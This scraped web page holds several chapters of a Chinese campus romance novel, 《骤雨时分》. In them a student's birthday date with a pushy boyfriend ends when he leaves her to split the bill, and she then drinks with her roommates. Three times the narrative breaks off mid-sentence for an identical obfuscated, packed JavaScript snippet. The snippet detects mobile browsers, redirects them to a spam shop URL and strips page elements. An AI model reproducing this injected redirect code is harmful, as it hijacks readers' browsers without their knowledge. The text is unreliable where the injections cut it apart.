陈易见来人是张志漫,正了正神色:“我最近一直在补之前的作业。”每天下课就去图书馆自习,除了吃饭和睡觉基本不会离开图书馆,最主要是专业课和写作翻译这学期开始都很难,现在不认真追赶后面可能根本听不懂。 “有什么我能帮上忙的吗?”张志漫想起自己之前帮陈易改过马哲小论文作业,于是提议:“比如公共课的作业?” “没有,最近公共课没什么任务,”陈易最近补交的都是英国文学的小论文以及外教的口语作业,翻译与写作应用还有一个小论文还没上交,“我回寝室拿电脑,等下还要去图书馆。” 张志漫拦住陈易的去路,言辞恳切:“小易,快到饭点了,我们去食堂吃个饭,吃完饭我送你回图书馆。” 陈易站在那看着他,仍旧没什么好脸色,张志漫见状只能告饶:“那天我确实不应该说那样的话,我心急贪图一时口舌之快,再说了我也是为了你好……” 陈易抿了抿唇,想要绕开张志漫径直往宿舍的方向走,张志漫挽留地拉住她的手,小声求饶道:“你别生气啦,我知道错了,我们去食堂吃个饭你再去图书馆也不迟。” 陈易到底是心软,张志漫试探性地把她往自己身边揽了揽,不等陈易拒绝拉着她往食堂的方向走。 食堂一楼的菜都有饭补,每天晚上四点五十准时开售,两个人到的有点早,张志漫在小卖部买了两瓶冰红茶回到位子上。 “还要十多分钟才开饭,你饿吗?要不我们去楼上吃也行。”楼上食堂有按斤称重的单人小火锅,还有校外商家承包的独立窗口。 陈易没什么食欲,上楼也是一样:“在这等会吧。” 张志漫把两瓶冰红茶拧开,将其中一瓶递给了陈易,然后用手机公众号查了一下今晚食堂的菜谱,把手机递给陈易看。 “今晚有你爱吃的糖醋排骨,还有香菇鸡丁,”张志漫观察着陈易的神情,过了会儿,缓和地问道:“下周日是你生日,我们一起出去吃个饭?” 陈易低头专注的样子让他有些恍惚,面前这样安静温婉的样子像是大一刚入学看见她时,他伸出手想触碰一下陈易,没曾想陈易突然抬头,那双好看的眼眸疑惑地看着张志漫伸在半空中的手。张志漫尴尬地正想着要如何解释,陈易愣了一下,把手机放到他的手里。 - 陈恩已经好转许多,从ICU转到了普通病房,何清婉一大早就给陈易打视频电话,问她有没有收到前天邮寄的裙子。 陈恩给她买的那条生日裙子过于华丽繁琐,不适合日常出门穿,所以陈易当初把裙子放在了家里。陈恩前几天问何清婉的时候才知道,于是催促着母亲把裙子邮寄给在学校的陈易。 今天周日没课,陈易此时在去图书馆的路上,被母亲何清婉这么一说,只好改路去快递园。 “昨天有个快递短信,我还没仔细看呢,”陈易本来还疑惑,总算真相大白,“我现在就去取回来。” 何清婉把手机交给在病床上的陈恩,将近一个月的时间他的身体恢复了许多,脸上也比之前看着稍有气色。 “姐,今天是你生日,你要穿着那条裙子哦。”陈恩看起来格外开心,他很期待姐姐穿上那条裙子的模样。 陈易不敢想穿那条高调裙子炸街的场景,考虑弟弟还在养病,只好硬着头皮答应:“好,你也要好好休息,我下周末回家看你。” 陈恩开心地将手机还给何清婉,何清婉拿着手机走出病房,边走边说:“小恩昨晚就说要给你打视频,估计一宿都没好好睡觉,七七你今天记得要吃蛋糕,请室友一起吃个饭。” 陈易和何清婉聊了一阵子家常,挂了电话何清婉转了五百过来。 从快递园取了裙子,回宿舍试了一下,刚好室友都在寝室,张罗着帮陈易打扮拍照。 “我的天啊,这裙子太好看了,小易你今天穿这身出去,保证回头率百分百!”孙美黎帮陈易整理裙子,把陈易拉到寝室的半身镜前。 整条裙子的裙摆像盛开的樱花,修身V字领口的版型,从上到下浅粉色逐渐加深,裙摆几处白色亮片点缀像是浅色的花蕊,窗边有微风拂过,裙摆像是轻飘飘的花瓣微微荡漾。杨甜甜把陈易的头发挽起来,用一根黑檀禾木的簪子装点,脸颊留了两缕碎发嫣然一个清冷不羁的美人。 “小易,你今天出门不得鲨疯了!”杨甜甜很满意这个造型,一向淡妆的陈易此刻眸光温柔仿佛水波潋滟,杨甜甜幻想般地夸赞道,“美人只要看我一眼,我就沉溺其中无法自拔!” 陈易被她这话逗笑了,害羞莞尔:“你一天能不能正经点。” “好啦!我待会儿要订蛋糕咯,小易你就算去今晚约会,也要在熄灯之前回来哦,”杨甜甜眨了眨眼睛,“生日我们说好的一起过哦。” 从宿舍楼出来一路上有很多人和陈易搭话,不认识的抱着签名本小心翼翼地问她是不是明星,认识她的定睛看了几遍欣喜若狂地和她打招呼。今天这一身穿着太显眼,若是晚上可能没人注意,可周日上午晴天明媚,陈易走在路上自动有“粉丝”眼神追随。 陈易和张志漫约定上午十点半在校门口见面,当他见到陈易的时候,仅仅用“惊艳”二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984298|148185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字是无法形容的,张志漫眼睛都直了,此情此景就好比在新生典礼上第一次见到她,那时陈易穿着仙气飘飘的轻纱长裙,抱琴垂眸温柔抚一曲《琵琶行》,当时调子一起,全场的呼声使人几乎听不到台上的袅袅琴音,张志漫也是被陈易所迷倒的其中之一。 张志漫提前叫了网约车,他没想到陈易今天穿得这么隆重,反观自己还是平时那身,简单得有些寒酸。 “今天生日穿这么漂亮,”他拉开车门让陈易先上车,脸上是掩饰不住的笑意:“你那裙子像朵花似的。” 陈易低头看了下自己裙子:“我弟弟买的,特意嘱咐我生日当天要穿上拍照。” “有点太华丽了,我都以为你要上台表演了。”张志漫打趣道。 车到吾桦街道附近一直堵车,距离张志漫订的西餐厅还有很远一段路程,奈何十多分钟车才挪动了一百米,张志漫实在按捺不住,提议下车步行过去。 吾桦街道上都是C市高档餐厅,从人均几百的日料到五星级的法式餐厅应有尽有,道路两旁的店面装潢复古华丽,平时罕见的百万跑车随意地停在路边,就连经过这里的路人大部分都打扮得时尚潮流,身上背着各种样式的名牌包包。 两人走到路口等着前面的红灯变绿,交警在十字路口指挥着来往的车辆,陈易想着天热去旁边的超市买瓶水。张志漫在外面等她,转头看见超市后面有一条狭窄小路,里面坐着几位算命老先生。 张志漫总觉得脚下生风,他快步走到小巷子里,挑了个离得最近的算命老先生。算命老先生戴着一副黑色的眼镜,看上去有六七十岁的样子,地上摆着八卦阵图看着十分玄乎。 “你都会算什么?”张志漫在路边见过很多次这种小摊,他一直觉得是骗钱的,但他今天看见这八卦图就莫名其妙想算上一卦。 “你想算什么,我就给你算什么。”老先生用手里的扇子敲了敲地上的八卦图,旁边空白写着几条收费事宜。 张志漫看了一眼,迟疑道:“俩人的姻缘能不能成,能算吗?” “能算!”老先生爽快地将脚边淡黄色的本子扔给他,本子上有绳子拴着一支笔,“把你们的生辰八字写上面。” 张志漫之前问过陈易的生日具体时辰,好像是早上七点多,回忆一下自己的也写在上面。 “不知道八字,我写的我俩名字、日期和时间。”张志漫把黄色本子放到老先生面前的八卦图上,心道这老头儿眼盲难不成能看见字? 算命老先生手在八卦图上挥舞着,不到半分钟的时候,手上的动作停了下来。 “怎么样?”张志漫迫不及待。 算命老先生扔出一张自己的收款码,“别急,先结了缘,结果马上知晓。” 张志漫心急地转了50块钱,刚听到手机的到账提示音,算命老先生与此同时叹了口气,摇头晃脑说道:“你俩八字相克,如果目前还没分开的话,很快也会分开。” 张志漫满怀期待,却听到和想象着完全不符的答案,一种被欺骗了的感觉像有冷水从头泼下,他愤恨起身踩了那黄色本子几下。 “骗人的老东西,我写的你都看不见还胡说八道,信不信我去跟城管举报你!” 14. 我们AA吧 《骤雨时分》文/薄荷小企鹅 2024/10/26晋江文学城首发 - 陈易从超市出来撞见张志漫怒气冲冲的样子,她还没问清缘由,前方的红灯变绿,张志漫拉着陈易的手飞速地穿过斑马线。 “现在的骗子可真多!”张志漫掏出手机,打开市民生活app准备投诉。 “怎么了?”陈易不解地问他,明明刚才还开开心心的,现在突然像变了个人似的。 快到林笺西餐厅了,张志漫在app上随便写了点投诉的句子,故作轻松道:“没事,看一个乞丐可怜就给了点钱。” 林笺西餐厅一直是提前预约制,张志漫三天前就在手机上交定金预约了,到跟门口的服务生报了自己的手机号,一进门便有穿着燕尾服的侍者指引,将二人安排进大厅的一个双人餐桌。餐厅内不像其他快餐店那样有着浓烈的油位,而是淡淡的柠檬香水味让人顿感神清气爽,大厅中央有一个偌大的舞台,此刻正有钢琴艺术家在弹奏古典音乐。 张志漫不太满意眼前的位置,在桌旁张望了半天,确认靠窗户的确实没有空位才悻悻地坐下。 翻开菜单第一页是按克重算的牛排,一块牛排下来要大几百了,张志漫看着牛排的价格,在心里默算着翻到菜单后面,牛柳意面、海鲜烩饭、这些平时在快餐店二十块钱的东西,在这里翻了近十倍。 张志漫慢吞吞地点了海鲜烩饭、牛柳意面、蜜汁椒香鸡,感觉三样东西差不多两个人够吃了,将菜单还给服务员的时候才想起问陈易:“我刚才点的这些你都能吃吧?” 陈易点头:“可以。” “您看要不要喝点什么?”服务生将菜单翻到背面,最上面的一排各种英文写的干红,张志漫叫不上名字,但是他发现这的红酒价格最便宜的也要一千多。 张志漫看得头大:“我们喝不惯红酒,一会儿我去外面买两瓶冰红茶。” “我们店不允许自带酒水的。”服务生将菜单收回,好心提醒道。 张志漫:“……行,我不喝了。” 餐厅上菜速度很快,十多分钟的时间菜上齐了,张志漫问服务生:“在你家过生日有没有什么礼物?小蛋糕或者长寿面什么的。” 服务生会意,转头用对讲机沟通一下,说可以给他们送一个4寸的生日蛋糕。 肖玄疏接到林想电话的时候,刚好在吾桦街道附近,索性将车开到林笺西餐厅。 “肖哥来了。”小霖眼尖,肖玄疏一进门他就注意了,赶紧起身迎接去肖玄疏。 李世和林想二人正说着话,等肖玄疏走到面前才神神秘秘地终止了对话。小霖将消毒的毛巾递给肖玄疏擦手,又帮他脱掉外套,讨好之意溢于言表。 肖玄疏将毛巾放在桌子上,看了一眼桌上的红酒,那双桃花眼似笑非笑,:“今天怎么想来这里的?”无论是酒还是菜,都不像平时出来玩的档次。 小霖还不了解肖玄疏的习惯,语气轻快:“肖哥,餐厅我提前好几天订的,您看要不要加点菜?这个红酒我也已经提前醒好了。”说罢,端起旁边的醒酒器要给肖玄疏倒酒。 肖玄疏的眸子扫了一眼小霖,口吻十分随意:“小霖,我今天开车来的。” 小霖脸上的神情略微尴尬,讪讪地收回正要倒酒的手,一时不知该说什么。 小霖听说肖玄疏可能会过来,无论如何都要跟过来,没想到对方还是和之前一样不待见他。林想和李世的话题短暂停止,林想从烟盒拿了根烟给肖玄疏,小霖眼殷勤地拿打火机刚要给他点烟,肖玄疏手指夹着那根烟突然又搁到桌子上。 小霖的手尴尬地停留半空中,林想自然意会肖玄疏的意思,给了小霖一个眼色顺势帮他解围。 “没事的!你抽一根老爷子又闻不到,”林想拍了拍肖玄疏的肩膀,“放心啦。” 肖玄疏伸手拿走那根烟,眼眸让人看不出情绪,淡淡地说:“戒烟了。” 林想笑了下:“你最近都没抽?” “你猜。” 林想:“……行,你厉害。” 桌上的菜早就冷了,小霖叫服务生重新点了菜,刚才的红酒也全部撤下去换成了鲜榨果汁。 - 张志漫故意吃得很慢,三道菜硬是拖到了赠送的生日蛋糕端上来,刚才他询问陈易今晚可不可以不会宿舍,被拒绝后两个人吵了几句,现在气氛不太好。 张志漫把蛋糕推到陈易面前,点燃了蜡烛,没等陈易闭眼许愿,他就小声嘀咕道:“我还想着今晚给你一个惊喜呢。” 陈易当做没听见,心里默默许了愿,然后吹灭了蜡烛。刚才拒绝张志漫原因之一是她明白他到底想做什么,另一个是她答应了杨甜甜晚上回去吃生日蛋糕。 “快点吃吧,吃完就走了,我回学校还有事呢。”张志漫假装着急地低头看一眼手表,本想着今天陈易生日两个人能好好相处一下,没想到只是一起吃个午餐就要回学校,亏他昨晚在直播间抢了个三星酒店的特价大床房,提前准备那么多却毫无用武之地,多少心里有点不舒服。 更何况这顿午餐和预定的大床房,开销抵他半个月的生活费。 “好。” 蛋糕是现做的,里面的水果很新鲜,整体的味道也不错,不过陈易因为刚才的吵架她没什么胃口,最近发生的事情让她开始反复地审视这段关系。 两个人从确定关系到现在不到四个月,总共约会次数单手可数,两个人目前偶尔牵牵小手,自从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006973|148185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这学期开学以来张志漫张口闭口就是想开房,陈易不能说自己多么保守传统,但这种事情最起码也要相互了解才可以。 张志漫无聊地在手机上翻来翻去学院通知群,心里却越来越烦躁。在别人看来他是把女神追到手了,但实际他们连亲过一次都没有,每次他一提出来就会被陈易拒绝,他甚至怀疑陈易是不是在利用自己,像室友嘴里的某些女生那样想花他的钱而已。 “为什么你每次都这么抗拒?我有哪里做的不好吗?”张志漫想不通,明明看着近在咫尺的女神,自己却始终吃不到,这让他心里莫名的有股火。 陈易用叉子扒拉着奶油蛋糕里的水果,垂下眼睫,声线平静得像深不见底的湖水:“可能我比较保守,短期内我不想做这种事情。”至少她现在做不到,把自己交付出去。 张志漫听到这里,愤懑的心情更加难以排解:“我不是答应你,你毕业我们就结婚吗?至于防我跟防狼似的吗?” 陈易的眼眸犹如星子闪烁神情飘忽不定,她低头耳边的发丝随着动作垂落,白皙的脖颈衬着墨黑柔顺的秀发,让人看得心痒痒。 她抿了抿唇,到了嘴边的话忽然变得有些难以启齿:“张志漫,一定要在我生日这天吗?” “对啊,我想给你留个纪念!”张志漫脱口而出,丝毫没注意到自己的音量,就连路过的服务生都往他这看了一眼。 隔壁桌的林想应声往这个方向看了过来,在看清这事情的女主角后,玩味地笑了笑。 “玄疏,你说为什么故事里的美人儿总是家境平平、还有个很下头的男友呢?”林想问。 肖玄疏顺着他的视线看过去,不错,和他的想法一样。 “哦?这种情况的话,一般很快就会分了。” 过了一会儿,张志漫接了个电话走出餐厅,正好此时陈易的手机收到他发来的消息。 【郜岩(张志漫):我这边有点事先回去了,这顿饭我们AA吧。[转账]】 陈易平静地看着手机屏幕上的那条消息,突然觉得心灰意冷,她没有接收那笔转账,直接将张志漫拉入通讯录黑名单。她重新拿起叉子,一口一口吃完了四寸的奶油蛋糕。 张志漫刚才点的菜被他吃得精光,陈易只吃了不到一份菜的份量,原本不爱吃奶油的陈易此刻吃了一整个蛋糕,肚子吃得有点撑,胸口像是有什么东西卡着,不上不下的让她压抑沉闷。 她把蛋糕叉子扔在桌上,右手撑着太阳穴静静地看着对面已经空了的位子,刚才张志漫吃饭的叉子还安静地摆放在餐盘里,不知是哪个瞬间她想起张志漫熬夜帮她修改马哲的小论文,想起他跟在她的身后追了她整整两年……可以说张志漫当初打动她的那份单纯诚恳,现在已经变了味。 15. 醉酒 《骤雨时分》文/薄荷小企鹅 2024/10/26晋江文学城首发 - “你好,这是16桌客人送给您的玫瑰布丁挞。”随着服务生的声音而来的是一碗精致好看的布丁挞,陈易在点菜的时候从菜单看见过这道菜,虽然看上去很让人心动,但是一百多的价格让她马上打消了念头。 陈易往16桌的方向看去,只看到了几个男人的背影,虽是西装革履人模狗样,但陈易却觉得这种给陌生女人送甜品的行为实在欠妥。陈易并未认出林想的背影,也在某人看过来的同时收回了自己的视线。 陈易不想接受陌生人的赠与,于是谢绝道:“实在吃不下了,请替我谢谢16桌客人的好意。”她没心情去想那么多,起身匆匆离开了餐厅。 陈易在附近的麦当劳坐了会儿,快到四点多收到杨甜甜的消息,问她大概什么时候回来。她回了个“马上”,出门叫了出租车回学校。 室友三人已经买了蛋糕、零食和晚饭,孙美黎刚好从学校后街回来,顺手给陈易带了一束九块九的手捧花。 陈易进屋就要换衣服,孙美黎把花塞到陈易手里:“别急,你先美美的拍个照片再换也不迟!” 杨甜甜去关了灯,李眉点燃蛋糕上的生日蜡烛,把陈易按到桌子前给她戴上生日帽。 “开始咯!” 几人边唱着生日歌边帮她拍照片,陈易双手合十闭眼许愿,过十秒钟吹灭了蜡烛。 杨甜甜欢呼着打开灯,拿着自拍杆叫大家过来一起拍照片。陈易穿着那条好看的V字领长裙站在中间,头上戴着金色生日帽,旁边三人紧凑地贴在一起像是幸运四叶草。 “完美!”杨甜甜拍手欣赏着照片,“等下我修完图发到群里。” 陈易怕把这条裙子弄脏,换了一身舒适的衣服,几人把凳子搬到小桌子前,有些迫不及待准备开动。 “李眉呀李眉,你居然买酒了!”孙美黎不可思议地看着桌上几瓶低度数的果酒,要知道C大宿舍内是不允许聚众喝酒的,如果被发现会寝室停用电一天作为惩罚。 李眉把宿舍门锁上,根本不在怕的:“我们小点声,没人知道的。” 杨甜甜摩拳擦掌一副跃跃欲试的样子:“听说这个果酒很好喝的,喝一点也不会醉的。” 孙美黎是个乖宝宝很少喝酒,一听她们这样说,况且今天还是陈易的生日,破例地点头答应一起喝。 陈易把6寸的蛋糕她切成八份,刚好每个人两小块。孙美黎也没闲着,打开一瓶杨梅酒给每个人的纸杯里倒了半杯,“先尝尝这个口味好不好喝。” 陈易也是个不会喝酒的,小时候吃酒心巧克力还以为酒好喝,高中时候有次把父亲买的啤酒打开一罐,喝了一口发现酒是口感如此奇怪难喝的饮料。后来在高中毕业的谢师宴上,陈易用红酒敬了几位老师和长辈,酸涩微苦的口感让她强忍着不适勉强喝完那半杯。 陈易看着自己面前那半杯果酒,犹豫着自己要不要试一下。 “祝我们的美女寝室长生日快乐!”杨甜甜率先举杯。 李眉紧随其后:“21岁生日快乐!越来越漂亮!” 孙美黎跟着叫道:“早日成富婆!” 陈易忍俊不禁,举起手中的纸杯,四人象征性地碰杯后,各自仰头一饮而尽。 陈易还没来得及尝清楚杨梅酒的味道,酒液过喉的辛辣让她微微咳了下,回过神来嘴里弥漫着杨梅汁的酸甜味道,这个果酒和她之前喝过的红酒和啤酒味道都不同,有点像是梅子饮料但是没有碳酸汽,喝到肚子里有点热热的。 孙美黎这次给大家都倒满一杯,赞叹道:“这个果酒还挺好喝的,一会儿再尝尝那个青梅的。” 寝室的氛围热闹愉快,中途也没有辅导员或是生管老师查寝,几个人不知不觉从五点吃到了晚上八点多,李眉把平板放到不远处放在小凳子上看最近新出的电视剧,杨甜甜说自己吃着吃着又饿了,李眉把剩下半瓶的杨梅酒推到她面前。 “没吃的了,你可以多喝点,顶饱。” 李眉买了六瓶果酒,这里面除了李眉和杨甜甜酒量稍微好一点,孙美黎和陈易已经处于微醺的状态。陈易用外卖app又点了炒饭和鸡汤馄饨,想了想最后还是补充了些烧烤炸串。 孙美黎出去上厕所,杨甜甜也跟着出去,刚好看见陈易在用外卖app,于是按住陈易的肩膀:“你给送外卖的小哥说让他带几瓶这个果酒来,我到时候给他钱。” 陈易不知道自己醉没醉,至少自己意识是清晰的,但她已经不想再喝了,话语比较委婉。 “外卖小哥那么忙,应该没办法帮忙带吧。” 杨甜甜面色微红:“可以带呀,又不是不给他跑腿费,你把电话给我,我来和他讲。”陈易拗不过杨甜甜,三年来大家第一次喝酒尽兴,她也不好拒绝做那个扫兴的。 杨甜甜给接单的外卖小哥打电话,说帮忙带四瓶青梅酒过来,到时候再额外打赏十块钱。 孙美黎从洗手间出来,走路缓慢且一手扶墙,慢吞吞地说:“喂……你们都没喝多吗?难不成喝多的就我一个啊?” 李眉在嗑瓜子专注看电视剧,不经意说道:“你这酒量可得练练,不然以后都得离酒吧这种地方远远的。” 孙美黎好不容易挨着凳子坐下,身形不稳险些没摔倒,好在陈易伸手扶了她一把。 “我还不稀罕去那种地方呢,酒吧那又不是啥好地方。” 李眉挑了挑眉:“你不是一直想脱单吗?酒吧那种地方脱单最快了,我和我对象就是在酒吧认识的。” 孙美黎嘴里嘟囔着什么,杨甜甜像是喝开心了在旁边跳舞,时不时地拉起陈易的手问自己是不是此刻像一只翩翩起舞的蝴蝶。 “小易,你知道吗,”杨甜甜拉着陈易的手跳着毫无章法的双人舞,“你大一新生晚会上表演的那个,把我们迷得不要不要的。” 陈易扯了扯嘴角,笑道:“你还想着那件事儿呢。” 杨甜甜执起陈易的右手,娇羞地亲了一下:“当然了,你那时候‘一战成名’,直接被送上表白墙成了咱外国语学院的系花。” 孙美黎在旁边愤愤不平道:“就是系花应该配个帅哥才对,我承认张志漫理科头脑很厉害,但那种长相我是万万看不上的。” 李眉嗑着瓜子,哼哼道:“美黎你就做梦吧,张志漫还看不上你呢,他心里只有我们家小易。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010360|148185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 孙美黎“啊啊啊”乱叫了一通,趁着酒意胡乱发疯,一会儿说自己要睡觉,一会儿又自顾自地唱起来生日歌。 不得不说这酒的后劲儿挺大,陈易最开始只觉得胃里热热的,在凳子上坐着的时候还觉得自己清醒得很,站起来突然觉得眼前很晕,不是生病感冒的那种头晕,而是带着不可抵抗的轻微困意。 陈易手机铃声响了,杨甜甜率先接了电话,得知是外卖到了一脸兴奋就要冲出去,李眉见状赶紧拦下了她。 “你可别去了,我去吧,”李眉问陈易要了外卖员的电话号,披上一件薄外套去校门口拿外卖,“就你这边跳舞边走路,被门口生管老师看见一抓一个准儿。” 李眉小跑到校门口,外卖员等着她付钱,李眉清点一下果酒的数量,直接把钱扫了过去。 快到宿舍楼下的时候,身侧一辆宝石蓝的库里南驶过,李眉皱着眉瞥了眼,开进校门的机动车都需要登记,大部分是在校的老师和领导,很少会有人把车开到宿舍区附近。 她没多想,拎着外卖到了宿舍楼下,远远地看着刚才那辆库里南就停在7舍的楼下,车尾灯在地上拉出长长的一道线,李眉警惕地放慢脚步,心想是不是哪个领导这么晚突击查寝,谨慎地摸出手机准备随时给室友通风报信。 一个熟悉的人影从副驾驶下来,动作轻柔地关了车门,随即回头和主驾驶的人笑着发送一个热情飞吻。那辆库里南也没有停留,见人进了宿舍楼,将车从前方的小路驶离。 李眉提着外卖上楼,刚到宿舍杨甜甜就如饥似渴地打开外卖袋子。 “哇,好香的烤串!”杨甜甜凑上前来,烧烤的香味把刚躺在床上准备睡觉的孙美黎也吸引过来。 “趁热吃趁热吃。” 杨甜甜直接开了一瓶青梅酒,这次没有倒在纸杯里,而是对着瓶口喝。 “太过瘾了!” 陈易把各两份的鸡汤馄饨和炒饭从袋子里拿出来,问李眉要哪个。 “都行,我吃的差不多了,”李眉还是想不通刚才楼下看到的人,随口提起:“刚才我在楼下看见刘露珈了。” 陈易并没觉得这是什么稀奇的事情,捧着馄饨的碗,深色淡定地喝了一口汤。 杨甜甜和孙美黎狼吞虎咽着五花肉卷金针菇,把手中的烤菜卷递给李眉:“吃啊,一会儿凉了不好吃。” 李眉吃着菜卷,语气有些不确定:“刘露珈是不是最近谈恋爱了?”刚才她看见刘露珈穿着吊带黑丝高跟鞋,根本不像是平时温柔精致小公主的打扮,所以她才会觉得格外奇怪。 孙美黎举着烤串:“对啊,前些天就听隔壁班的讲了,男朋友是个富二代呢。” 李眉“哦”了一声:“原来如此,我还在想她那么高傲的性格会看上哪个男的。” 杨甜甜一口气喝了半瓶青梅酒,把剩余几瓶也全都打开,“你们怎么都不喝,我一个人喝多没意思。”孙美黎配合地拿起一瓶果酒开始吨吨吨,脸上红得像是苹果。 陈易其实有点醉了,吃完小份的鸡汤馄饨坐在椅子上一言不发,不知是哪个瞬间她想起了张志漫,她现在有一种想给他打过去电话的冲动,想问问他感受一下被拉黑是不是很爽? 16. 迟来的礼物 《骤雨时分》文/薄荷小企鹅 2024/10/27晋江文学城首发 - ……不知道张志漫有没有很爽,反正陈易是没有。她最开始被拉黑删除的时候特别着急,后来她渐渐习惯了,两个人的聊天话题从最开始的学术、哲学、爱好等问题,逐渐转移到了结婚、睡觉的问题上。 陈易从小家里管得严,虽然她曾经上学时有过怦然心动的男生,但张志漫才算是正经意义上的初恋。最开始她很享受这段恋爱,两个人相敬如宾,他在学业上取得的各种光环足以支撑陈易的那点微不可见的虚荣心,但时间一长,她突然发现张志漫和在人前所表现出得完全不同,性格可以说是截然相反的两个人。 “今天我把张志漫拉黑了,”陈易突然开口,旁边胡言乱语的两个人愣了一下,陈易垂下眼眸用手握住了那瓶青梅酒,“我是不是做的有点过分?” 室友几个从未听过陈易讲过恋爱的细节,一直都以为二人相处很好,陈易也从未将张志漫不为人知的一面讲给别人听,因为她从来都觉得恋爱是两个人的事情,别人没兴趣听那点无所谓的鸡毛蒜皮。 杨甜甜的手在陈易面前晃了晃,睁大眼睛好奇地与陈易眼睛对视:“小易,你是不是喝多了说胡话呢?”以陈易温顺安静的脾气,怎么会去拉黑别人?更何况对方还是张志漫啊! 孙美黎也一脸不可置信:“喝多了肯定是喝多了。” 陈易拿起拿瓶酒像其他人一样,仰头喝了三分之一,她觉得喉咙和胃里热得像是有火要烧起来,眼睛湿润氤氲了水雾,低声道:“是真的。” 李眉打开青梅酒陪陈易一起喝,安慰道:“怎么回事,有话慢慢说。” 大家一开始不相信陈易说拉黑了张志漫,陈易上午开开心心地出门说要和张志漫约会一起过生日,下午回来的时候几人也没看出什么端倪,怎么现在突然说拉黑了?难不成两个人闹掰了? 孙美黎总算找到了机会,玻璃酒瓶碰上陈易的,发出清脆的响声。 “拉黑就拉黑,小易你跟他掰了,我们以后看见了也不理他。” 陈易垂着眼眸看着一片狼藉的桌子,桌子上的奶油蛋糕、地上的花束和酒瓶,她思绪混乱地开始思考自己当初的选择是否正确。这时门外传来急促的脚步声,很多女生提着水壶去水房接水,嘴里喊着“快点快点还有两分钟”。 “无所谓啦,世界上的男人那么多,又不缺他一个,”杨甜甜抱着陈易的手臂,“我的女神有我们就足够了!” 李眉强行把杨甜甜和陈易分开,坐到陈易旁边,神色关心:“小易,情侣之间闹矛盾很正常,今天过去了他明天肯定来找你了,今天你生日,你别不高兴啊。” 陈易忍着眼泪不掉落的冲动,又仰头喝了一口果酒,她看向天花板上的灯管,眼前的灯光像是模糊了一般。 寝室的灯突然熄灭,杨甜甜“啊”了一声,原来已经到了熄灯的十一点。孙美黎让杨甜甜把自己的储电小台灯拿过来,李眉也把台灯拿过来,陪着陈易一起喝闷酒。 四个人里面酒量好的只有李眉,喝着喝着孙美黎就往床上一躺睡着了,陈易神情落寞地靠在柜子旁边一口一口地喝着酒,李眉见状把陈易手中剩余的半瓶果酒抢过来,顺手把陈易扶到床上去。 “好啦好啦别喝了,不然明天早读起不来了。” 这边刚把陈易送上床,那边杨甜甜往桌子上一趴,一副完全不顾是哪就倒头睡着了。李眉对这三个酒量不好还硬喝的室友非常无奈,把三个人妥当安置后,才端着脸盆摸黑去水房洗漱。 - 大学语文不是专业课,大部分的同学都在浑水摸鱼,距离下课还剩十分钟老师放了个电影短片,杨甜甜觉得无聊,手机在群聊里发消息。 【杨梅好酸(杨甜甜):英国文学选章的阅读报告你们弄完了没?[捂脸]】 【梨子好美(孙美黎):还没呢,不是下周一之前吗?那个应该很快吧。】 【陈皮好甜(陈易):我看了三天还没想好要选哪章,估计要拖到dd才能交了。[叹气]】 【李子好紫(李眉):交给学委是不?最近学生会这么安静,看来近期没什么事嘛。】 【梨子好美(孙美黎):别提学生会,一提我就头疼,前几天又搞什么“读一本好书”,有个学妹一直让我给她投票,学生会拉得赞助,最后整的咱们一直看广告才能投票,666。】 【杨梅好酸(杨甜甜):看广告才能投票,然后还一直找人拉票,真的没好感。[无语]】 【梨子好美(孙美黎):你别说你别说,听学妹说这活动赞助商就是刘露珈的男朋友,我是真服了,这以后学弟学妹有都是广告看了。】 【李子好紫(李眉):尊嘟假嘟,搞了半天靠男朋友拉赞助,没意思。[小丑]】 大学语文下课,几个人从6教出来,前脚刚出来,就看见连续的几辆保姆车驶过,这会正是人多的时候,旁边的同学小跑着往11教的方向去。 “这是要去做什么?”陈易有些不解。 李眉语气漫不经心:“就是租用场地的那个剧组啦,现在去等会明星一下车就冲上去,说不定还能要个签名什么的。” 几个人路过图书馆,陈易刚好要去自习,但想起来笔记本放在寝室,想了想还是和室友几个一道回宿舍。 “小易,最近图书馆怎么样?西侧那边修好了吗?”孙美黎好久没去图书馆了,自从西侧那边天花板漏水就再也没去了。 图书馆西侧漏水有一年多了,一直听说年初就要修缮西侧但没开工,陈易最近在图书馆偶尔听到施工的声音,估摸着是学校安排维修工人在修漏水了。 修天花板的漏水没有想象的那么简单,西侧的图书搬走后要把地面全部刨开,重新安装输水排水管道,等水泥一层一层干透又要几天的时间。 “好像还在维修,”陈易常去的自习室在东区3楼,不知道维修什么情况,“我很少去那边看。” 室友几个商量着晚上五点半一起去食堂吃饭,陈易在宿舍拿了笔记本又去图书馆自习。图书馆晚上九点闭关,陈易晚上还没吃东西,在学校后门的超市 